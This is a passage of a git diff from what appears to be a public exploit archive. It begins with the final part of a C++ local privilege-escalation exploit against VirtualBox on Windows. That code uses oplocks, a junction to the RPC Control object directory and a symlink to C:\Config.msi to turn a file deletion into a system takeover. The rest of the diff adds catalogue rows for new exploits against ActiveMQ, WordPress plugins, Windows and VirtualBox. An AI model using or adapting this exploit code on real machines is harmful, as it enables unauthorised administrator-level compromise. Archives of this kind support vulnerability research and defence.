(!NT_SUCCESS(retcode)) { + return NULL; + } + return hDir; +} +LPWSTR BuildPath(LPCWSTR path) { + wchar_t ntpath[MAX_PATH]; + swprintf(ntpath, L"\\??\\%s", path); + return ntpath; +} +void loadapis() { + HMODULE ntdll = GetModuleHandle(L"ntdll.dll"); + if (ntdll != NULL) { + pRtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(ntdll, +"RtlInitUnicodeString"); + pNtCreateFile = (_NtCreateFile)GetProcAddress(ntdll, "NtCreateFile"); + pNtSetInformationFile = (_NtSetInformationFile)GetProcAddress(ntdll, +"NtSetInformationFile"); + } + if (pRtlInitUnicodeString == NULL || pNtCreateFile == NULL) { + printf("Cannot load api's %d\n", GetLastError()); + exit(0); + } +} +void cb0() { + if (!Move(h)) { + printf("reached3\n"); + exit(1); + } + printf("reached2\n"); + _swprintf(dir, L"C:\\ProgramData\\VirtualBox"); + if (!CreateJunction(BuildPath(dir), L"\\RPC Control")) { + printf("[!] Exiting!\n"); + exit(1); + } + WCHAR asdfasdf[MAX_PATH]; + _swprintf(asdfasdf, L"GLOBAL\\GLOBALROOT\\RPC Control\\%s", filen); + if (!DosDeviceSymLink(asdfasdf, +L"\\??\\C:\\Config.msi::$INDEX_ALLOCATION")) { + printf("zxc\n"); + //printf("[!] Exiting!\n"); + //exit(1); + } +} +void cb1() { + printf("[!] oplock triggered\n"); + if (!Move(vb11)) { + printf("reached3\n"); + exit(1); + } + if (!CreateDirectory(L"C:\\ProgramData\\VirtualBox\\VBoxSDS.log", NULL)) { + printf("Error creating dir. Exiting\n"); + exit(1); + } + return; +} +BOOL Monitor(HANDLE hDir) { + printf("[!] Monitor called\n"); + BOOL deleted = FALSE; + _swprintf(filen, L"VBoxSDS.log.11"); + do { + do { + h = CreateFile(L"C:\\ProgramData\\VirtualBox\\VBoxSDS.log.11", DELETE, +FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, +FILE_FLAG_OVERLAPPED, NULL); + printf("h: %x\n", h); + } while (h == INVALID_HANDLE_VALUE); + oplock = FileOpLock::CreateLock(h, cb0); + if (oplock != NULL) { + HANDLE c = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)runSDS, +(LPVOID)1, 0, NULL); + oplock->WaitForLock(INFINITE); + CloseHandle(c); + } + deleted = TRUE; + } while (deleted == FALSE); + return deleted; +} \ No newline at end of file diff --git a/files_exploits.csv b/files_exploits.csv index d83dc5aa1..845f80054 100644 --- a/files_exploits.csv +++ b/files_exploits.csv @@ -10684,6 +10684,7 @@ id,file,description,date_published,author,type,platform,port,date_added,date_upd 2237,exploits/multiple/remote/2237.sh,"Apache < 1.3.37/2.0.59/2.2.3 mod_rewrite - Remote Overflow",2006-08-21,"Jacobo Avariento",remote,multiple,,2006-08-20,2016-10-27,1,OSVDB-27588;CVE-2006-3747,,,,http://www.exploit-db.comapache_2.0.58-win32-x86-no_ssl.msi, 33868,exploits/multiple/remote/33868.txt,"Apache ActiveMQ 5.2/5.3 - Source Code Information Disclosure",2010-04-22,"Veerendra G.G",remote,multiple,,2010-04-22,2014-06-25,1,CVE-2010-1587;OSVDB-64020,,,,,https://www.securityfocus.com/bid/39636/info 33905,exploits/multiple/remote/33905.txt,"Apache ActiveMQ 5.3 - 'admin/queueBrowse' Cross-Site Scripting",2010-04-28,"arun kethipelly",remote,multiple,,2010-04-28,2014-06-28,1,,,,,,https://www.securityfocus.com/bid/39771/info +52288,exploits/multiple/remote/52288.py,"Apache ActiveMQ 6.1.6 - Denial of Service (DOS)",2025-05-09,"Abdualhadi khalifa",remote,multiple,,2025-05-09,2025-05-09,0,CVE-2025-27533,,,,, 50829,exploits/multiple/remote/50829.py,"Apache APISIX 2.12.1 - Remote Code Execution (RCE)",2022-03-16,Ven3xy,remote,multiple,,2022-03-16,2022-03-16,0,CVE-2022-24112,,,,, 29930,exploits/multiple/remote/29930.txt,"Apache AXIS 1.0 - Non-Existent WSDL Path Information Disclosure",2007-04-27,jericho+bblog@attrition.org,remote,multiple,,2007-04-27,2013-11-30,1,CVE-2007-2353;OSVDB-34154,,,,,https://www.securityfocus.com/bid/23687/info 46682,exploits/multiple/remote/46682.py,"Apache Axis 1.4 - Remote Code Execution",2019-04-09,"David Yesland",remote,multiple,,2019-04-09,2019-04-09,0,CVE-2019-0227,,,,,https://github.com/RhinoSecurityLabs/CVEs/blob/d5d317bb211af59d0708fd602d83bd80b61ae37b/CVE-2019-0227/CVE-2019-0227.py @@ -12403,6 +12404,7 @@ id,file,description,date_published,author,type,platform,port,date_added,date_upd 35214,exploits/multiple/webapps/35214.txt,"Subex Fms 7.4 - SQL Injection",2014-11-11,"Anastasios Monachos",webapps,multiple,,2014-11-17,2014-11-17,0,CVE-2014-8728;OSVDB-110747,,,,, 51340,exploits/multiple/webapps/51340.txt,"Suprema BioStar 2 v2.8.16 - SQL Injection",2023-04-08,"Yuriy (Vander) Tsarenko",webapps,multiple,,2023-04-08,2023-04-08,0,CVE-2023-27167,,,,, 51804,exploits/multiple/webapps/51804.txt,"SureMDM On-premise < 6.31 - CAPTCHA Bypass User Enumeration",2024-02-19,"Jonas Benjamin Friedli",webapps,multiple,,2024-02-19,2024-02-19,0,CVE-2023-3897,,,,, +52286,exploits/multiple/webapps/52286.txt,"SureTriggers OttoKit Plugin 1.0.82 - Privilege Escalation",2025-05-09,"Abdualhadi khalifa",webapps,multiple,,2025-05-09,2025-05-09,0,CVE-2025-27007,,,,,https://github.com/absholi7ly/CVE-2025-27007-OttoKit-exploit/ 50937,exploits/multiple/webapps/50937.txt,"Survey Sparrow Enterprise Survey Software 2022 - Stored Cross-Site Scripting (XSS)",2022-05-17,"Pankaj Kumar Thakur",webapps,multiple,,2022-05-17,2022-05-17,0,CVE-2022-29727,,,,, 37470,exploits/multiple/webapps/37470.txt,"SWFupload - 'movieName' Cross-Site Scripting",2012-06-29,"Nathan Partlan",webapps,multiple,,2012-06-29,2015-07-03,1,CVE-2012-3414;OSVDB-83413,,,,,https://www.securityfocus.com/bid/54245/info 35908,exploits/multiple/webapps/35908.txt,"SWFupload 2.5.0 - Cross Frame Scripting (XFS)",2015-01-26,MindCracker,webapps,multiple,,2015-01-26,2015-01-26,0,OSVDB-117564,,,,, @@ -12491,6 +12493,7 @@ id,file,description,date_published,author,type,platform,port,date_added,date_upd 51805,exploits/multiple/webapps/51805.py,"Wondercms 4.3.2 - XSS to RCE",2024-02-19,"Anas Zakir",webapps,multiple,,2024-02-19,2024-02-19,0,,,,,, 52248,exploits/multiple/webapps/52248.txt,"WooCommerce Customers Manager 29.4 - Post-Authenticated SQL Injection",2025-04-16,"Ivan Spiridonov",webapps,multiple,,2025-04-16,2025-04-16,0,CVE-2024-0399,,,,, 47690,exploits/multiple/webapps/47690.md,"WordPress Core < 5.2.3 - Viewing Unauthenticated/Password/Private Posts",2019-10-14,"Sebastian Neef",webapps,multiple,,2019-11-19,2019-11-19,0,CVE-2019-17671,,,,,https://0day.work/proof-of-concept-for-wordpress-5-2-3-viewing-unauthenticated-posts/ +52285,exploits/multiple/webapps/52285.py,"WordPress Depicter Plugin 3.6.1 - SQL Injection",2025-05-09,"Andrew Long",webapps,multiple,,2025-05-09,2025-05-09,0,CVE-2025-2011,,,,,https://github.com/datagoboom/CVE-2025-2011 49189,exploits/multiple/webapps/49189.txt,"Wordpress Plugin Canto 1.3.0 - Blind SSRF (Unauthenticated)",2020-12-04,"Pankaj Verma",webapps,multiple,,2020-12-04,2020-12-04,0,CVE-2020-28976;CVE-2020-28977;CVE-2020-28978,,,,, 48919,exploits/multiple/webapps/48919.txt,"WordPress Plugin Colorbox Lightbox v1.1.1 - Persistent Cross-Site Scripting (Authenticated)",2020-10-20,n1x_,webapps,multiple,,2020-10-20,2020-10-20,0,,,,,, 36930,exploits/multiple/webapps/36930.txt,"WordPress Plugin Freshmail 1.5.8 - SQL Injection",2015-05-07,"Felipe Molina",webapps,multiple,,2015-05-07,2015-05-07,0,OSVDB-121843,"WordPress Plugin",,,http://www.exploit-db.comfreshmail-newsletter.1.5.8.zip, @@ -41282,6 +41285,7 @@ id,file,description,date_published,author,type,platform,port,date_added,date_upd 51733,exploits/windows/local/51733.txt,"Microsoft Windows 11 - 'apds.dll' DLL hijacking (Forced)",2023-10-09,"Moein Shahabi",local,windows,,2023-10-09,2023-10-09,0,,,,,, 52275,exploits/windows/local/52275.c,"Microsoft Windows 11 - Kernel Privilege Escalation",2025-04-22,"Milad karimi",local,windows,,2025-04-22,2025-04-22,0,CVE-2024-21338,,,,, 52270,exploits/windows/local/52270.c,"Microsoft Windows 11 23h2 - CLFS.sys Elevation of Privilege",2025-04-22,"Milad karimi",local,windows,,2025-04-22,2025-04-22,0,CVE-2024-49138,,,,, +52284,exploits/windows/local/52284.C++,"Microsoft Windows 11 Pro 23H2 - Ancillary Function Driver for WinSock Privilege Escalation",2025-05-09,"Milad karimi",local,windows,,2025-05-09,2025-05-09,0,CVE-2024-38193,,,,, 40219,exploits/windows/local/40219.txt,"Microsoft Windows 7 (x86/x64) - Group Policy Privilege Escalation (MS16-072)",2016-08-08,"Nabeel Ahmed",local,windows,,2016-08-08,2016-08-08,1,CVE-2016-3223;MS16-072,,,,, 14733,exploits/windows/local/14733.c,"Microsoft Windows 7 - 'wab32res.dll wab.exe' DLL Hijacking",2010-08-24,TheLeader,local,windows,,2010-08-25,2010-08-25,0,CVE-2010-3147;OSVDB-67553;CVE-2010-3143;OSVDB-67499,,,,, 39788,exploits/windows/local/39788.txt,"Microsoft Windows 7 - 'WebDAV' Local Privilege Escalation (MS16-016) (2)",2016-05-09,hex0r,local,windows,,2016-05-09,2016-10-10,1,CVE-2016-0051;MS16-016,,,http://www.exploit-db.com/screenshots/idlt40000/eop2.png,, @@ -42178,6 +42182,7 @@ id,file,description,date_published,author,type,platform,port,date_added,date_upd 42425,exploits/windows/local/42425.txt,"VirtualBox 5.1.22 - Windows Process DLL Signature Bypass Privilege Escalation",2017-08-03,"Google Security Research",local,windows,,2017-08-03,2017-08-03,1,CVE-2017-10204,Local,,,,https://bugs.chromium.org/p/project-zero/issues/detail?id=1257 42426,exploits/windows/local/42426.txt,"VirtualBox 5.1.22 - Windows Process DLL UNC Path Signature Bypass Privilege Escalation",2017-08-03,"Google Security Research",local,windows,,2017-08-03,2017-08-03,1,CVE-2017-10129,Local,,,,https://bugs.chromium.org/p/project-zero/issues/detail?id=1296 46747,exploits/windows/local/46747.txt,"VirtualBox 6.0.4 r128413 - COM RPC Interface Code Injection Host Privilege Escalation",2019-04-24,"Google Security Research",local,windows,,2019-04-24,2019-04-24,1,CVE-2019-2721,Local,,,,https://bugs.chromium.org/p/project-zero/issues/detail?id=1811 +52287,exploits/windows/local/52287.C++,"VirtualBox 7.0.16 - Privilege Escalation",2025-05-09,"Milad karimi",local,windows,,2025-05-09,2025-05-09,0,CVE-2024-21111,,,,, 24910,exploits/windows/local/24910.txt,"VirtualDJ Pro/Home 7.3 - Local Buffer Overflow",2013-04-02,"Alexandro Sánchez Bach",local,windows,,2013-04-02,2013-04-07,1,OSVDB-92085,,,,http://www.exploit-db.cominstall_virtualdj_home_v7.3.exe, 10920,exploits/windows/local/10920.cpp,"VirtualDJ Trial 6.0.6 'New Year Edition' - '.m3u' Local Overflow",2010-01-02,"fl0 fl0w",local,windows,,2010-01-01,2017-11-16,1,,,,,http://www.exploit-db.comvirtualdj_trial_v6.0.6_newyearedition.exe, 16070,exploits/windows/local/16070.py,"Virtuosa Phoenix Edition 5.2 - ASX Buffer Overflow (SEH)",2011-01-28,Acidgen,local,windows,,2011-01-28,2011-01-28,1,OSVDB-70695,,,http://www.exploit-db.com/screenshots/idlt16500/screen-shot-2011-01-28-at-122113-pm.png,http://www.exploit-db.comVirtuosaTrial.exe,